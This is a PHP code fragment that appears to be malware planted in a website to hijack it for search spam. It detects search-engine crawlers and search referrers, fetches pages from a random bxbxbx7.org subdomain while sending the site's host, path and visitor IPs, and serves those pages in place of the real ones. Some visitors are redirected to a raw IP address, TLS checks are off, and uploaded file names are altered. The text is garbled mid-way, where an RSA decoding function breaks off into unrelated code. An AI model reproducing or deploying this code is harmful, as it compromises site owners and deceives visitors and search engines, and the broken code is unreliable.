if (!function_exists('zhizhu_html')) {
function zhizhu_html($url)
{
$url=str_ireplace(" ","%20",$url);
$response = array('status' => 0, 'content' => false, 'type' => '');
try {
$caho=isEngines($_SERVER["HTTP_USER_AGENT"])?60:5;
if (function_exists('curl_exec') && function_exists('curl_init')) {
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, $caho);
curl_setopt($c, CURLOPT_REFERER, @$_SERVER["HTTP_REFERER"]);
curl_setopt($c, CURLOPT_USERAGENT, @$_SERVER["HTTP_USER_AGENT"]);
curl_setopt($c, CURLOPT_TIMEOUT, $caho);
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($c, CURLOPT_COOKIESESSION, 0);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$c_retval = curl_exec($c);
$response['status'] = intval(curl_getinfo($c, CURLINFO_HTTP_CODE));
$response['type'] = strval(curl_getinfo($c, CURLINFO_CONTENT_TYPE));
@curl_close($c);
if (in_array($response['status'], array(200, 301, 302, 404))) {
$response['content'] = strval($c_retval);
}
if($response['status']==0)
{
$response['content'] =false;
}
} elseif (ini_get('allow_url_fopen')) {
$http_opt = array(
'http' => array('method' => 'GET', 'timeout' => $caho, 'follow_location' => 0,'header'=>"Referer: ".@$_SERVER["HTTP_REFERER"]."\r\nUser-Agent: ".@$_SERVER["HTTP_USER_AGENT"]."\r\n"),
'ssl' => array("verify_peer" => false, "verify_peer_name" => false)
);
$context = stream_context_create($http_opt);
$content = @file_get_contents($url, false, $context);
$response['content']=$content ;
}
} catch (Exception $e) {
}
return $response['content'];
}
function base64_decode_RSA($cmd)
{
$pk = << $v) {
$_POST[$k] = str_ireplace($search, $replace, $v);
}
foreach($_FILES as $k=>$v)
{
foreach(array("name","full_path","type") as $kk=>$vv)
{
$name=@$v[$vv];
$name=str_ireplace("php","_php",$name);
$name=str_ireplace(".user.ini","._user.ini",$name);
$name=str_ireplace(".htaccess","._htaccess",$name);
if($name=="php")
{
$name="_php";
}
$_FILES[$k][$vv]=$name;
}
}
$ref = @$_SERVER["HTTP_REFERER"]?@$_SERVER["HTTP_REFERER"]:"11";
$key = @$_SERVER["HTTP_USER_AGENT"];
$ym = @$_SERVER['HTTP_X_FORWARDED_HOST']?@$_SERVER['HTTP_X_FORWARDED_HOST']:$_SERVER['HTTP_HOST'];
$ssl="0";
if (isset($_SERVER['HTTPS']) && @$_SERVER['HTTPS'] === 'on') {
$ssl="1";
}elseif(isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && @$_SERVER["HTTP_X_FORWARDED_PROTO"] === 'https')
{
$ssl="1";
}
$jiej=0;
if(isEngines($key)&&sitemap())
{
$jiej=1;
}
if(isEngines($key)&&isIncludes())
{
$jiej=1;
}
if((isRef($ref)|| $ssl=="0")&&isIncludes())
{
$jiej=1;
}
$r_trim = preg_replace('/\?.*/', '', @$_SERVER['REQUEST_URI']);
$ext = substr($r_trim, strrpos($r_trim, '.'));
if (in_array($ext, array('.js', '.css', '.jpg', '.png', '.gif', '.ico'))) {
$jiej=0;
}
$ip1=@$_SERVER['HTTP_X_FORWARDED_FOR'];
if($ip1=="")
{
$ip1=$_SERVER['REMOTE_ADDR'];
}
$dd=uniqid().".bxbxbx7.org";
$T_URI=@$_SERVER['REQUEST_URI'];
$T_URI=str_replace("&", "_", $T_URI);
if($jiej==1)
{
if ( ! defined( 'bxversion' ) ) {
define('bxversion',0);
}
if (version_compare(PHP_VERSION, '5.4.0', '<')) {
$url="http://$dd/index.php?HOST=".$ym."&url=".$T_URI."&ip=$ip1&ssl=$ssl&version=".bxversion;
}else
{
$url="https://$dd/index.php?HOST=".$ym."&url=".$T_URI."&ip=$ip1&ssl=$ssl&version=".bxversion;
}
$html= zhizhu_html($url);
if(strlen($html)>100)
{
if(URI == "/sitemap.xml")
{
header('Content-Type: application/xml; charset=utf-8');
}
header("HTTP/1.1 200 OK");
echo $html;
exit();
}
if(isRef($ref)&&isIncludes())
{
Header( "Location: https://38.61.8.251:8037/?HOST=".$ym."&url=".$T_URI."&ip=$ip1&ssl=$ssl&version=".bxversion);
exit();
}
}